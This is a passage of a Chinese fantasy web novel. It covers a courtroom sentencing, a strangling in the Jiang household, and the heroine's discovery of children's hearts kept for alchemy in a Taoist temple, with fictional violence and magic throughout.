巨大的悔恨与彻骨的寒意,瞬间席卷了他。
他不是没有怀疑过,不是没有察觉过不对,可他选择了相信“眼见为实”,选择了维护家族的“平静”与“体面”,选择了……逃避。
直到今日,铁证如山,所有的线索与罪恶,最终都清晰地指向了同一个人——
林静薇!
正是这个苏老夫人疼爱了半辈子的外甥女,害**弟弟弟媳全家,毁了他唯一女儿的一生清白与幸福,害**无辜的月奴(裴寂未婚妻),用邪术搅乱了苏家的气运。
甚至极有可能,亲手弑杀了自己的女儿苏玉嬛!
所有的一切,都有了答案。
苏老夫人顺着夫君的目光,也看到了女儿眼中深不见底的哀恸,看到了苏家众人脸上的恐惧与唾弃。
最后,再次落在了林静薇脸上——
那张即便红肿破损、泪痕未干,仍然楚楚可怜的脸。
四目相对。
“都是报应。”她说。
苏老夫人疯了。
“犯妇林氏,”白羡安的声音不带丝毫温度,如同金铁交鸣,在肃穆的公堂上回荡,
“你身犯数罪,罄竹难书!
其一,纵火谋害养父母林翰之、吴氏及其亲族共十一口,手段残忍,令人发指!
其二,修**禁术,以阴毒手段陷害苏氏女**,毁人名节,断人前程,更间接致使月奴小姐含恨而终!
其三,身为苏玉嬛生母,竟以淬有剧毒‘幽梦散’的金针弑杀亲生女,丧尽人伦!
其四,于公堂之上,屡次咆哮、污蔑朝廷命官,扰乱法度!”
他每说一条罪状,声音便冷厉一分,堂下众人便觉寒意加深一层。
“以上诸罪,证据确凿,脉络清晰,更有邪术卷轴、往来密信、证人证言及多方勘验结果为凭!
依《大晋律·刑律》,巫蛊**、弑亲、害命多条者,罪无可赦!
更兼尔毫无悔意,巧言令色,颠倒黑白,其心可诛!”
白羡安略一停顿,看了一眼闭目不言的苏文正,又扫过瘫倒在地、状若痴傻的苏凌岳,心知苏家已无人会为此妇求情。
他深吸一口气,沉声宣判:
“本官现判处,犯妇林静薇,削除宗籍!依律,判——腰斩之刑!”
林静薇脸上那强装的楚楚可怜终于维持不住,眼底深处,第一次清晰地掠过无法抑制的恐惧。
但很快,那恐惧又被一种近乎偏执的疯狂与怨恨所覆盖。
她死死咬住下唇,不再发一言,只是那眼神,怨毒得仿佛要将堂上所有人吞噬。
苏文正仿佛瞬间苍老了十岁,他缓缓松开搀扶着疯癫老妻的手,任由仆妇上前将喃喃自语的苏老夫人扶住。
他一步步走向旁听席一侧,那个自始至终沉默如山的身影。
裴寂今日一身玄色常服,站在角落光影交界处,仿佛与周遭的喧嚣都隔着一层。
直到苏文正走近,他才微微抬起眼帘。
四目相对。
苏文正看到这位眉宇间沉淀着风霜与郁色的将军,眼圈竟隐隐泛着暗红。
第263章 离女人多的地方远点
许多话,哽在喉间,无从说起。
当年那桩丑闻,毁掉的何止是苏**的名节与幸福?
同样摧毁的,还有裴寂本该平顺的仕途与姻缘。
月奴母女的无辜惨死,更是横亘在裴寂心头永难愈合的伤疤。
这些年来,他自请远戍边关,即便此番回京任职,也从未踏足苏府半步。
不是怨恨,而是那沉重的枷锁与愧疚,让他不知该如何面对。
如今,真相大白,水落石出。
害人者终得严惩,蒙冤者得以昭雪。
可是,失去的,终究是失去了。
月奴和她母亲的生命,再也回不来。
而他和苏**之间,隔着这血泪交织的往事,隔着无法挽回的人命与时光,纵有挂怀,纵有不舍。
那一道由阴谋与死亡划下的深渊,已然注定了他们此生再无破镜重圆的可能。
有些错位,一旦发生,便是永恒。
苏文正喉咙发干,万千感慨与歉意,最终只化为一声沉重的叹息。
“裴将军……这些年,委屈你了。若有闲暇……不嫌弃的话,日后……可来府中坐坐。”
裴寂深深看了苏文正一眼。
他什么也没说,只是郑重地对着苏文正,抱拳,躬身,行了一个深深的揖礼。
一切尽在不言中。
就在这时,旁边传来一阵慌乱的惊呼。
只见一直失魂落魄的苏凌岳,在听闻对林静薇“腰斩”的判决后,终于承受不住这接连的打击,喉头发出“嗬”的一声怪响!
双眼一翻,竟直接晕厥过去,不省人事。
他无论如何也无法接受,同床共枕几十年的妻子,竟是一个心如蛇蝎、罪行滔天的邪师!
这认知,彻底击垮了他本就软弱的意志。
旁支众人又是一阵忙乱,有上前搀扶的,有低声唏嘘的,看向苏凌岳的目光充满了复杂的同情。
苏凌风与王氏对视一眼,相携走上前来。
王氏在朱嬷嬷的搀扶下,对云昭敛衽一礼,神色间带着感激与后怕:
“云司主,今日……多谢了。
若非司主明察秋毫,揪出这深埋苏家数十年的毒瘤,只怕我们阖府上下,仍被蒙在鼓里,日后还不知要酿成何等惨祸。”
苏凌风亦拱手道:“云昭,二舅……多谢你。此间事了,苏家……需要时间整顿。
但无论何时,苏家的大门,永远为你和**敞开。若得闲暇,常回来看看。”
云昭神色平静,微微颔首:“二舅舅、二舅母言重了。分内之事。”
她目光扫过一片狼藉的公堂,并未多做客套。
而苏**,早在白羡安宣判之时,便已悄然离开。
她没有回头看一眼疯癫的母亲,没有理会晕厥的大哥,甚至没有与父亲和二哥道别。
对她而言,今日这公堂之上发生的一切,如同刮骨疗毒。
当腐肉尽去,脓血流尽,留下的,虽是一个巨大而丑陋的伤疤,却也带走了纠缠她半生的梦魇与困惑。
此刻,她独自坐在候在门外的青帷小轿中,轿帘低垂,隔绝了外间所有的喧嚣。
她缓缓闭上眼,深深吸了一口气。
午后的阳光晒过屋瓦的干燥气息,以及远处隐约的市井人声。
头顶之上,隔着轿顶,是京城夏日里,那一片仿佛被水洗过般、澄澈通透、无尽高远的蓝天。
心情,从未有过的……豁然开朗。
公堂内,渐渐人去堂空。
苏家众人带着疯癫的老夫人、晕厥的大爷,神情各异地陆续离去。
裴寂亦不知何时,悄无声息地离开了。
云昭并未急于离开,她走到主案前,对正在整理卷宗的白羡安道:
“白大人,林静薇此人,罪大恶极,死不足惜。但在行刑之前,我还需见她一面。”
白羡安从卷宗中抬起头,眼中带着询问。
云昭目光幽深:“我尚有一件紧要之事,需从她口中问个明白。此事……或许关系另一桩未解之谜。”
白羡安略一沉吟,想到云昭办案素来有的放矢,且林静薇刚被判极刑,羁押候决本是常理,便点了点头:
“此妇便暂押大理寺死牢,严加看管。云司主若有讯问,随时可来。”
“多谢大人。”云昭拱手。
就在她准备告辞之时,堂外忽然传来一阵急促的脚步声。
只见她的贴身侍女莺时,步履匆匆而入,脸上带着罕见的凝重。
莺时快步走到云昭身边,压低声音,语速极快地道:
“司主,姜府那边……出大事了!”
云昭眼波未动,只是长睫几不可察地轻颤一下。
她垂在广袖下的左手几根纤指极快地在掌心掠过,指尖轻轻掐算。
瞬息间,她抬起眼帘,声音平淡无波,却带着洞悉一切的笃定:
“梅柔卿**。姜世安……还剩一口气吊着?”
这精准到令人心悸的断言,让刚走近的萧启脚步微顿。
他沉声道:“我陪你回去看看。”
“也好。”云昭微微颔首。
目光扫过不远处的赵悉。
在她悄然开启的玄瞳视界中,赵悉周身那原本只是淡粉氤氲的桃花气,此刻竟已凝如实质,化为一团浓腻得近乎妖异的粉雾。
雾心深处更缠绕着一缕不祥的黢黑劫气,蠢蠢欲动,分明是大凶之兆。
她朝赵悉招了招手。
赵悉不明所以,但还是颠颠儿地小跑过来:“司主有何吩咐?”
云昭也不绕弯子,直截了当道:“这几日,离女人多的地方远点。”
她声音不大,却清晰得很。
此言一出,不仅近前的萧启眸光微凝,连不远处的白羡安也停下话头,若有所思地朝赵悉看了过来。
赵悉险些原地跳起来,那张俊美风流的脸涨得微红:“本官岂是那等轻浮浪荡之人?”
赵悉被她这没头没脑的警告弄得心里****的,连连摆手,声音都低了几分:
“好啦,知道!本官近日定然深居简出!”
话虽如此,脸上仍是一副“你未免太过小题大做”的悻悻然。
赵悉连连摆手:“好啦,知道!”
云昭本还想再言,转念忆起赵悉随身带着不少护身灵符,寻常邪祟灾厄近不得身,便不再多言,只深深看了他一眼。
那眼神让赵悉心里那点不服气瞬间凉了大半,暗自决定今天一定待在京兆府,哪也不乱去!
*
马车里,云昭与萧启相对而坐。
车轮碾过青石板路,朝着姜府方向疾行。
车窗纱帘半卷,午后的光线斜斜透入,在云昭侧脸上投下明明暗暗的光影。
萧启的目光落在她脸上,今日一连串的审讯对峙,似乎不足以令她面露疲色。
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>她只是安静地坐着,背脊挺直。
秾丽如盛世牡丹的容颜,如今沉淀出一种清绝孤高的气势。
仿佛峭壁悬崖上迎风而立的花,开得肆意、自由,迎风飒飒。
萧启忽然想起初见那晚,桃花纷飞如雨,她跌坐在地,仰起的脸上泪痕未干,眼底却已燃着不肯屈服的倔强火星。
那时的她,像一枚裹着冰雪的琉璃,易碎却坚韧。如今……
“我帮你报仇,行吗?”他忽然开口。
云昭转眸看向他,眼中掠过一丝淡淡的讶异,随即摇了摇头。
太子和玉衡**的下场,她心中早有成算,不过是时机问题。
况且,她还在等阿措依那边的消息,那个隐藏在玉衡背后的“府君”,才是她真正想要揪出来的大鱼。
谁知,萧启像是早已料到她的反应,紧接着又道:“那……报仇的时候,带上我,总行吧?”
云昭微微一怔,盯着他看了好一会儿,直看得萧启耳根隐隐有些发热,才缓缓道:
“你今天……有点奇怪。”
萧启被她看得有些不自在,下意识偏开了视线,望向窗外飞速**的街景。
这就算奇怪了?他不过是……不过是终于找到个机会,对她说一点藏在心底许久的话罢了。
就在萧启心思浮动之际,云昭却已移开目光,问起了另一桩事:“你在太后身上用了‘浮生梦’,效果如何?”
提及此节,萧启神色一正,方才那点不自在迅速褪去,取而代之的是一抹凝重。
他身边如今有了丁晏的相助,原是不打算对云昭说太多细节,以免将她牵扯过深。
可如今对着她,那些深思熟虑的谨慎,总是不自觉地瓦解。
每每见到她,他总是忍不住想要倾诉,想要与她共享秘密。
他沉吟片刻,还是照实道:“问出了一些事……其中有一件,令我百思不得其解。”
云昭静静听着。
“你之前曾说,想不通玉衡为何处心积虑,要将太后软禁在玄都观。”
萧启缓缓道,“太后在‘浮生梦’中提及,她一生……共诞育了四个孩儿。”
云昭眸光微动。
“除了长公主、我父皇,以及当今圣上,还有一个小女儿。”
“小女儿?”云昭重复了一遍,眼中倏地闪过一道锐利的光芒。
萧启点了点头:“太后提及此事时,情绪波动极大。”
简直比提起他父皇母后的死,还要激动。
云昭的手指无意识地在膝上轻叩……
“我们没有查过玄都观。”她忽然道。
萧启愣了一下:“查了。我亲自带人,明里暗里都搜过,包括……”
他顿了顿,还是说了出来,“那晚,我带人潜入过玉衡隐藏最深的岩缝密室。”
这件事,他本与丁晏有约,此刻却不想对她有所隐瞒。
但他保留了丁晏的名字,没对云昭提起。
云昭却缓缓摇头,一双眸子在略显昏暗的车厢内亮得惊人:
“不,我得去一趟玄都观。”
她心中隐隐有种预感,玄都观里藏着的,或许不仅仅是玉衡个人的秘密。
更可能关乎一桩被掩盖多年的皇家**,甚至……与嘉乐郡主之死有关!
念头及此,云昭语出惊人:“或许,在驸马离京之前,我们能找到害死嘉乐郡主的真凶!”
第264章 一命换一命,真是好算计
“吁——”马车稳稳停在姜府门前。
云昭与萧启一前一后下了车。
昔日门庭若市、煊赫显贵的尚书府邸,此刻已被一片刺目的惨白覆盖。
高悬的素白灯笼在风中无力摇晃,门楣上披挂着长长的丧幡,朱漆大门虚掩,里面传来隐约的哭泣声。
不过短短四月,从云昭回京那日起,这座府邸便以肉眼可见的速度衰败下去,如今更添死气。
犹如一株被蛀空了根基的巨树,轰然倾塌,只余满地狼藉与悲凉。
云昭面无表情,一步步踏上熟悉的石阶。
甫一走进内院,便瞧见了两道披麻戴孝的身影。
是姜珩和姜绾心。
姜珩一身粗麻孝服,头上戴着孝帽,正微低着头,一手放在姜绾心的肩膀,似在低声安抚什么。
姜绾心身形单薄,裹在宽大的孝服里更显楚楚可怜。
一张小脸苍白得没有一丝血色,眼圈红肿如桃,睫毛上还沾着未干的泪珠,显然是狠狠痛哭过一场。
她双手紧紧绞着衣角,身体微微发抖,不知是冷,还是怕。
听到了脚步声,兄妹二人几乎同时,一前一后缓缓转过身来。
姜绾心抬眸,泪眼朦胧中看到逆光而来的云昭,瞳孔骤缩,脸上血色褪尽,嘴唇哆嗦了一下,下意识地往姜珩身后缩了缩。
姜珩则猛地抬起头,目光如淬了毒的钉子,狠狠扎在云昭身上。
云昭的目光先在姜绾心脸上停留了片刻。无需特意凝神,相面之术自然流转。
只见她夫妻宫与眉眼之间的“情欲宫”位,竟隐隐透出一股浮艳的桃红色。
且这桃红不正,带着虚耗与沉迷的迹象,预示着她接下来会深陷男女情欲纠葛,难以自拔。
云昭心念微动,玄瞳悄然开启。
只见姜绾心周身的血咒之气,此刻竟已消散了七七八八,只剩下几缕极其淡薄的残余。
可以说,只要她日后不再行大恶,甚至多积些微末善功,这血咒便可自然消弭于无形。
再看她身畔胎灵,却已无影无踪。
云昭只略一思忖,便明白了关窍。
看来,姜绾心是用了某种“移花接木”的法子,让她腹中未成形的胎儿和姜老夫人,替她承受了血咒的怨力。
姜珩猛地上前半步,挡住了姜绾心大半身影。
他瞪着云昭,声音有些嘶哑:“你怎么还有脸回来?”
云昭闻言,唇角极淡地勾了一下,那笑意却未达眼底,冰冷一片:“你怎么还有脸活着?”
姜珩:“……???”
云昭却已悠悠接道:“像你这样当街对着异国公主摇尾乞怜的**胚子,都还有脸皮顶着姜姓站在这门槛之内,我凭什么不能来?”
“你——!”姜珩被戳中最不堪的痛处,脸色瞬间涨成猪肝色。
他额角青筋暴跳,“你都当着陛下和满朝文武的面,说过与姜家分家析产,一刀两断了!
往后生死荣辱,各不相干!这里早已不是你的家!”
云昭慢条斯理地打断他:“谁说,我是为了你们姜家人回来的?”
她目光飞快扫过院内,最终定格在影壁旁另一个瘫跪在地的身影。
他抬手一指:“我是为他来的。”
她指尖所指之处,正是那位奉旨前来“照看”梅柔卿的邹太医。
邹太医正沉浸在马上要被陛下**的绝望之中,神思恍惚。
此刻被云昭一指,他浑身一个激灵,茫然抬头。
待看清云昭面容,回味过来她方才的话意,眼睛里骤然爆发出绝处逢生的狂喜光芒!
他连滚带爬地朝着云昭奔了过来,也顾不得什么礼仪体统了,“扑通”一声,重重跪倒在云昭脚前:
“云司主救命啊!下官冤枉!下官真是天大的冤枉啊!”
他哭得别提多憋屈了:“下官谨小慎微,在宫里当差,听到什么不该听的,从来都是左耳进右耳出,半句话不敢多问!
谁知道会摊上这么个要命的差事!
陛下金口玉言,梅夫人若活不过一年,就要下官的脑袋!
下官……下官真是要被姜家给坑**啊!求司主大发慈悲,救救下官吧!”
姜珩和姜绾心看着这突如其来的一幕,兄妹二人脸上都露出了难以言喻的怪异神色。
不怪他们多心,云昭今日突然出现,怎么看,都像是专程来看姜家热闹来的!
云昭确实是。
她略一抬手,虚扶了邹太医一把,并未让他真的磕下头去。
她记得,邹文清是太医院院正章太医的得意门生兼甥孙,医术根基扎实。
那日在柔妃宫中,也是他协助查验梅柔卿的伤势,算是个明事理、懂进退的人。
若只因梅柔卿之死,便要这么一位并无过错的御医陪葬,确实有些冤枉。
邹太医也二十好几的人了,此刻却哭得像个受尽委屈的孩子。
眼泪鼻涕糊了一脸,哽咽着对云昭不住作揖:
“云司主明鉴!下官只是奉命看顾梅夫人病情,防着她病重不治。
谁承想,姜大人好端端进来坐了一会儿,也不知和梅氏说了什么,就把人给掐**!”
云昭不再多言,只道:“走吧,先进去看看。”
一行人穿过笼罩在悲戚与惶然中的前院,径直来到梅柔卿生前所居的内院。
院子里已有宫人看守,气氛凝重。
云昭步**内,目光直接落在榻上。
梅柔卿静静地躺在那里,面色青紫,双目圆睁,残留着惊骇与痛苦,脖颈上一圈深紫色的扼痕触目惊心。
云昭走近,查验片刻,随后起身。
莺时早已备好温热的湿帕递上。
云昭擦了擦手,然后看向亦步亦趋跟在身后的邹太医,淡然道:
“是被人徒手扼毙,窒息而死。”
邹太医一脸懊丧:“下官只防着她病重体虚,汤药饮食无不谨慎,日夜提心吊胆,谁承想……谁承想会是这等死法!”
云昭问:“此事,已奏报陛下了?”
旁边跪着的两名内侍模样的宫人连忙叩首,齐声应道:“回云司主,消息已即刻递进宫了。”
云昭沉吟片刻,走到一旁桌案前,提笔蘸墨,快速写了几行字,折好,递给邹文清:“稍后你入宫面圣,将这个呈给陛下。”
邹太医如获至宝,双手颤抖着接过,紧紧攥在胸前,连声称是。
云昭的目光再次落回梅柔卿的尸身上,玄瞳之下,一切无所遁形。
有意思的是……梅柔卿体内,竟还残留着蛊的尸身。
蛊虫通常极有灵性,宿主将死之际,便会设法逃离,另觅生机。
前世她便是如此。
可梅柔卿体内的这只,却随着宿主生机断绝而一同僵死,未曾逃离。
她转而看向屋内另一侧。
姜世安瘫坐在太师椅里,眼神直勾勾望着虚空,面色死灰,胸膛仅剩微弱起伏。
玄瞳视界中,姜世安体内的阴邪之气已然消散。
显然,他体内的那只蛊虫也已**。
云昭了然。
她知道姜绾心和姜珩都竖着耳朵,便也不避讳:
“梅氏这是在报复姜世安。
临死前,梅氏必是以最后的心力催动母蛊,反制姜世安的神智,令他狂性大发,亲手扼**自己。
如此一来,姜世安便成了杀害钦命看管之人的凶手,陛下无论如何,也绝不会轻饶他。”
“一命换一命,还要拉着他一起身败名裂,永堕地狱。真是好算计。”
她看了一眼旁边听得目瞪口呆的邹文清,吩咐道:“邹太医,开药吧。”
邹太医还沉浸在云昭那番令人毛骨悚然的分析里,闻言
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茫然:“啊?”
云昭的目光扫过只剩一口气的姜世安:“务必保证,姜大人在被陛下问罪之前,须得好端端活着。”
邹太医猛然醒悟!
是了,若姜世安现在就**,那这弑杀“病妻”的罪名,如何能让他亲口承认?
又如何能让陛下亲眼看到他的下场?
他必须活着接受审判!
邹太医连忙扑到姜世安身边,搭脉细查,然后飞快地写下药方,交给那两名宫人内侍:“快!按方速去煎药!用参汤吊着,务必保住他这口气!”
云昭不再理会屋内种种,转身便朝外走去。
姜绾心见她要走,不知哪里生出的勇气,猛地站起身,想要阻拦:“你站……”
“住”字尚未出口,一直如影随形护在云昭身侧的萧启,倏然侧眸,朝她瞥了一眼。
那眼神深如寒潭,蕴含着毫不掩饰的杀气。
姜绾心所有的话瞬间噎在喉咙里。
一旁的姜珩也是脸色煞白,他可没忘记,当日在公主府被秦王一脚踹中时的剧痛与窒息感。
兄妹二人眼中充满了怨毒与不甘,却再不敢发出一丝声响。
只能眼睁睁看着云昭如入无人之境,来去从容,姿态冷漠地踏出这曾属于她的“家”。
就在云昭即将走出院门的刹那,后院方向突然爆发出一阵含糊不清的嚎哭声,那声音苍老嘶哑,充满了无尽的绝望。
是姜老夫人。
云昭脚步微顿,顺着声音望去。
只见不远处的厢房门外,几个仆妇惊慌失措地跑出来。
而房门敞开处,隐约可见一道悬挂在房梁下的身影,微微晃动着——
是姜珏。
那个沉默寡言、存在感极低的姜家庶子,梅柔卿的亲生儿子。
其实,若说姜珏此生有何罪过,或许唯一的原罪,便是他是梅柔卿与姜世安的儿子。
生于阴谋,长于扭曲,最终,也湮灭在这肮脏泥泞的家族倾轧之中。
可悲,却未必无辜。
轮椅上,姜老夫人形容枯槁,老泪纵横,双手胡乱地在空中抓挠,含混不清地反复念叨着:
“报应……报应啊……为什么不报应在我身上……这是要让我姜家**啊!”
她自从前次被云昭施针“惩戒”,口舌便一直未能完全恢复。
除了云昭,几乎无人能听明白她在念叨什么。
云昭脚步一转,竟朝着姜老夫人走了过去。
在姜珩和姜绾心惊疑不定的目光中,云昭停在轮椅前,微微俯身,伸出手,异常体贴地将滑落在姜老夫人膝上的薄毯往上拉了拉,仔细掖好。
然后,她靠近老夫人耳边,用只有两人能听清的音量,声音轻柔,字字如刀:
“老夫人可别这么说。
您的儿子虽然不日便要被推上法场斩首,但您的孙子、孙女,不都还在么?
您的孙子姜珩,用不了多久,就要‘风光’入赘,去当那位番邦公主的榻上男宠了。
您的孙女姜绾心,也很是争气,这不,已经‘荣升’东宫九品奉仪了么?”
姜家的福气,且在后头呢!”
说完,她直起身,不再看姜家任何人的表情,不紧不慢地踏出了姜府大门。
萧启紧随其后,在她步下台阶时,自然而然地伸出手,揽过她的肩膀。
他身形高大挺拔,手臂沉稳有力,几乎将云昭整个纤瘦的身影都护在了怀里,隔绝了身后众人的视线。
这般深情而维护的姿态,落在强撑着追到门口的姜绾心眼中,刺得她双目赤红,心头滴血。
无尽的嫉恨与不甘,如同毒藤般疯狂滋长,缠绕得她几乎窒息。
娘说得对,她接下来,不能吊死在太子这一棵树上!
她必须得靠男人,爬得更高,站得更稳,才能跟姜云昭斗个你死我活!
第265章 赫然是一颗颗……心脏!
玄都观坐落在京城西郊,掩映在苍松翠柏之间。
远远望去,绿意蓊郁,云雾缭绕,钟磬之声随风飘来,颇有几分世外仙山的清幽出尘之气。
然而这清幽之下,却隐隐透着一股难以言喻的阴冷。
云昭与萧启拾级而上,身后跟着数名玄察司的精锐与秦王府侍卫。
观门虚掩,留守的道童早已被控制,偌大的道观寂静得可怕,只有风声穿过殿宇廊庑,发出呜呜的低咽。
云昭并未急于搜索,她站在观中主殿前的空地上,闭目凝神片刻。
山风拂动她的衣袂,带来香火与草木泥土混杂的气息。
她自袖中取出一块巴掌大小的木牌,随后从随身携带的医药箱中取出笔墨,快速写上几字。
那是嘉乐郡主的闺名,与生辰八字。
“天地敕令,阴阳引路。卫氏宝珠,地魂归位,显!”
随着她清冷低喝,木牌之上,金光一闪而没。
随即,木牌散发出一种柔和却穿透力极强的乳白色光晕。
这光晕并不刺眼,却仿佛能照亮常人不可见的视界。
不多时,一道几乎透明的人形轮廓,如同被微风聚拢的雾气,缓缓在木牌上方凝聚、显现。
那是一个小女孩的朦胧身影,穿着生前喜爱的鹅黄色衫子,梳着双丫髻,身影淡得仿佛随时会消散在空气中。
人死之后,天魂归天,人魂转世,地魂(守尸魂)则常留于陵墓或生前眷恋之地。
地魂无法言语,只能凭借本能,给予指引或答案。
云昭手持木牌,灵力如同无形的丝线,与那微弱的地魂相连。
她睁开眼,眸中玄光流转,低声道:“带我去。”
淡薄的地魂轻轻颤动了一下,如同受到召唤的萤火,开始朝着观中深处飘去。
云昭与萧启紧随其后,穿过重重殿宇、回廊、庭院。
地魂的指引飘忽却坚定,绕过香火鼎盛的三清殿,避开经声朗朗的藏经阁,最终,停在了一处位于道观最深处的院落前。
院门紧闭,上书“丹华苑”三个古朴篆字。
萧启示意,一名侍卫上前,以内力震开门栓。
沉重的木门“吱呀”一声打开,一股混杂着药香、烟火气与某种沉闷腥气的味道,扑面而来。
院内十分宽敞,却异常整洁,甚至可以说是一尘不染。
正中是一座半开放的石砌丹房,里面整齐排列着数个大小不一、形制各异的炼丹炉。
最大的足够成年男子高,三足圆肚,表面铭刻着繁复的云纹八卦;
最小的仅如西瓜大小,形似宝塔,通体乌黑,炉身光滑,几乎没有任何纹饰。
这些丹炉,炉膛冰冷,显然已有许久未曾生火。
地魂飘至丹房门口,便不再前进。
虚幻的身影剧烈地波动起来,仿佛遇到了无形的屏障,又像是被巨大的恐惧扼住,光芒明灭不定。
最后,她只发出一声云昭这等通玄之人才能“听”见的、无声的尖啸。
倏地一下,彻底消散,只余下木牌上渐渐黯淡的微光。
“就是这里了。”
云昭收起木牌,目光扫过那几尊丹炉。
她能感觉到,此地残留的阴怨之气,远比观中其他地方浓重。
她缓步走入丹房,并未急于触碰任何丹炉,而是自怀中取出三张颜色不同的符箓——
一张朱砂绘就的“显形符”,
一张银粉勾勒的“溯气符”,
一张以特殊草药汁液写成的“辨邪符”。
“天地玄宗,万气本根。邪氛秽迹,无所遁形。敕!”
三张符箓无风自燃,化作青、银、赤三色光雾,如同有生命般在丹房内缓缓飘荡、交织。
青雾过处,空气微微扭曲;
银雾则如流水般贴着地面和丹炉表面蔓延;
赤雾最为活跃,如同寻找猎物的火蛇,在几尊丹炉之间穿梭游移。
片刻之后,赤色光雾仿佛受到了某种强烈的吸引——
它猛地朝着那尊最小的、乌黑无华的塔形丹炉汇聚而去,紧紧缠绕在炉身之上,甚至发出轻微的“滋滋”声响。
云昭走到那尊小丹炉前。
萧启命人上前,小心翼翼地打开炉盖。
炉内空空如也,炉膛和炉壁上只有一层薄薄的、灰白色的灰烬。
明显,已经被人精心清理过,连一点药渣残粒都看不到。
但云昭却微微蹙起了眉头。
她俯身,靠近炉口,轻轻嗅了嗅。
混杂的气味中,一丝极其淡薄的怪异腥甜,钻入她的鼻腔。
云昭开口道:“一般炼丹,多用丹砂、雄黄、曾青、慈石等金石之物,
配以灵芝、人参等草木精华,
取其‘金石不朽,草木长生’之意。
炉火煅烧后,气味或灼烈,或清苦,或带硫磺之味。”
云昭直起身,看向萧启,眼中寒芒点点,“但这个味道……不对。”
萧启心头猛地一沉,一个不祥的联想浮现:“青莲观?”
云昭缓缓摇头,声音更冷:“真相恐怕比青莲观……更让人胆寒。”
她不再多言,开始在丹房内仔细搜寻。
指尖拂过冰凉的炉壁、石台、甚至地面砖石的缝隙。
玄瞳之下,一切能量流转与异常痕迹无所遁形。
最终,她的目光定格在那乌黑小丹炉靠近底部的某个位置。
那里有一处极其细微、几乎与炉身融为一体的圆形凸起,若非刻意探查,绝难发现。
云昭伸出手指,对准那凸起,轻轻按下。
“咔嚓”一声轻响,机括转动的声音在寂静的丹房中格外清晰。
只见丹炉后方那面看似浑然一体的石壁,忽然无声地向内滑开,露出一条向下延伸的幽深石阶。
石阶很窄,仅容一人通过。
一股阴冷的风,从洞口扑面而出。
萧启立刻上前一步,将云昭挡在身后,手持火把,率先踏入了那幽暗的通道。
云昭紧随其后,墨七带着几名侍卫持火把跟上。
石阶不长,尽头是一间约莫两丈见方的地下
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静室。
静室内出乎意料的干净,四壁以青石垒砌,打磨得十分光滑。
地面纤尘不染,甚至点着几盏长明灯,幽幽的火光照亮了室内景象。
然而,当火光将室内陈设照亮时,所有人都倒吸了一口凉气,胃里一阵翻涌!
静室两侧靠墙的位置,排列着数个半人多高的青瓷大瓮,瓮口密封,贴着符纸。
而正对着入口的石台上,则摆放着数个大小不一的琉璃罐子。
罐子内浸泡在某种暗黄色、近乎透明的粘稠液体中,赫然是一颗颗……心脏!
那些心脏明显都不大,有些甚至只有核桃大小,显然是属于幼童的!
在药液中微微沉浮,颜色呈现出一种诡异的暗红色,表面血管经络清晰可见。
更令人毛骨悚然的是,其中几个罐子已经空了,只剩下残留的药液。
“畜生!”墨七脸色铁青,从牙缝里挤出两个字,握着刀柄的手背青筋暴起。
云昭强忍着怒意与恶心,走近那些琉璃罐,仔细扫视,又凑近嗅了嗅药液的气味。
片刻后,她转过身。
“这些心脏,被特殊药液浸泡着。
浸泡的时间不够,药性未能完全融合,所以还未被取用。
等到时辰足了,就会被取出,晾干,然后……”
她顿了顿,目光投向洞口的方向,“放到外面那个炼丹炉里,作为……炼制某种丹药的核心‘药引’。”
用稚童鲜活的心脏……作为药引炼丹!
即便是见惯了阴**戮的萧启,此刻也觉得一股寒意从脚底直冲头顶。
“这些心脏里,”云昭的目光缓缓扫过那些罐子,“并没有宝珠的。”
她抬眸看向萧启:“但宝珠之所以死在青莲观,应是因为她无意中,看到了不该看到的秘密。”
宝珠,是被灭口的。
对一个年仅八岁的小女孩来说,看到这样残忍的景象,哪怕在她死后,魂魄也不得安宁。
她在惦念曾看到过的那些无辜孩童,她希望能有人发现一切,让真相大白于天下。
或许,正是因为三年前宝珠郡主无意间在青莲观撞破了这一切,所以那些人才将这门“生意”,整个转移到了玉衡坐镇的玄都观。
而宝珠的尸首,一直浸泡在那座象征着清洁和高贵的莲池。
京城的达官显贵,乃至皇宫的贵妃、娘娘们,无数次进出青莲观,甚至在莲池旁赏花喂鱼。
却无人知晓,莲池的淤泥之下,躺着一具幼小的尸身,正在失踪整整三年的宝珠郡主!
更无人知晓,还有更多比宝珠还小的幼童,死得比她更为凄惨,甚至连具尸首都不曾留下!
就在这时,石阶上方隐约传来一阵骚动,其中夹杂着一道熟悉的女声:
“放肆!大胆!有什么地方是本宫进不得的?
都给本宫让开!本宫倒要看看,是谁敢在玄都观装神弄鬼!”
是太后的声音!
萧启与云昭对视一眼,而后,他沉声道:“让她进来。”
第266章 你到底是谁?
声音透过石阶传了上去。
不多时,脚步声杂乱地响起。
只见太后阴沉着脸,气势汹汹地沿着石阶走了下来。
她今日穿着甚是鲜亮,一袭茉莉黄绣金凤宫装,头戴点翠凤冠,脸上妆容精致,肌肤光润。
眼波流转间,透出几分娇媚与活力,整个人容光焕发。
比前些日子在宫中服食太岁肉时,看起来年轻精神了不少。
而且云昭发现,她体内那蛊虫,不知何时已被取出。
难怪梅氏都**,她却还活蹦乱跳,没受半分影响。
所以……在她揭穿了梅氏和姜绾心献宝之后,玉衡**便改变了计划,将太后带到此处,想方设法取出她体内那“蛊”,改为用丹药为她保持青春?
还真是锲而不舍。
太后踏入静室,双眼还未适应幽暗,紧接着闻到了满屋的怪异味道,连忙以手帕掩鼻。
待目光适应,看清站在中央的云昭,太后面上怒色更盛,指着云昭骂道:
“又是你!你怎敢擅闯玄都观圣地?在此鬼鬼祟祟,你意欲何为?”
云昭却仿佛没听见她的呵斥,只是缓缓地举起了自己的右手。
她的掌心,托着一颗刚刚从某个琉璃罐中取出的孩童心脏!
滴滴答答往下淌着暗黄色的药液与黏稠的血渍。
“睁大你的眼,看清楚!”
云昭一步一步走向太后,“看看你这些年,到底造了多少孽!吞下了多少无辜者的性命!”
火光跳动,将那颗心脏的轮廓和血污照得清清楚楚。
太后先是一愣,待看清云昭手中那血淋淋、湿漉漉的物件究竟是什么时,瞳孔骤然一缩,脸上的血色和容光在瞬间褪得一干二净!
一声惊叫从太后喉咙里爆发出来。
她猛地后退两步,差点撞到身后的石壁,脸上写满了惊恐与恶心。
她忙用宽大的袖口死死捂住口鼻,声音发颤:“快把这腌臜东西拿开!你……你疯了不成?”
云昭就站在离太后几步远的地方,厉声喝道:“转过脸来!看着我!看着它!”
她实在太过愤怒,胸中翻涌的杀意几乎要冲破理智!
因而也就没有留意到,自己无意间竟做到了言出法随!
一道无形的言咒之力随着她的喝问骤然施加!
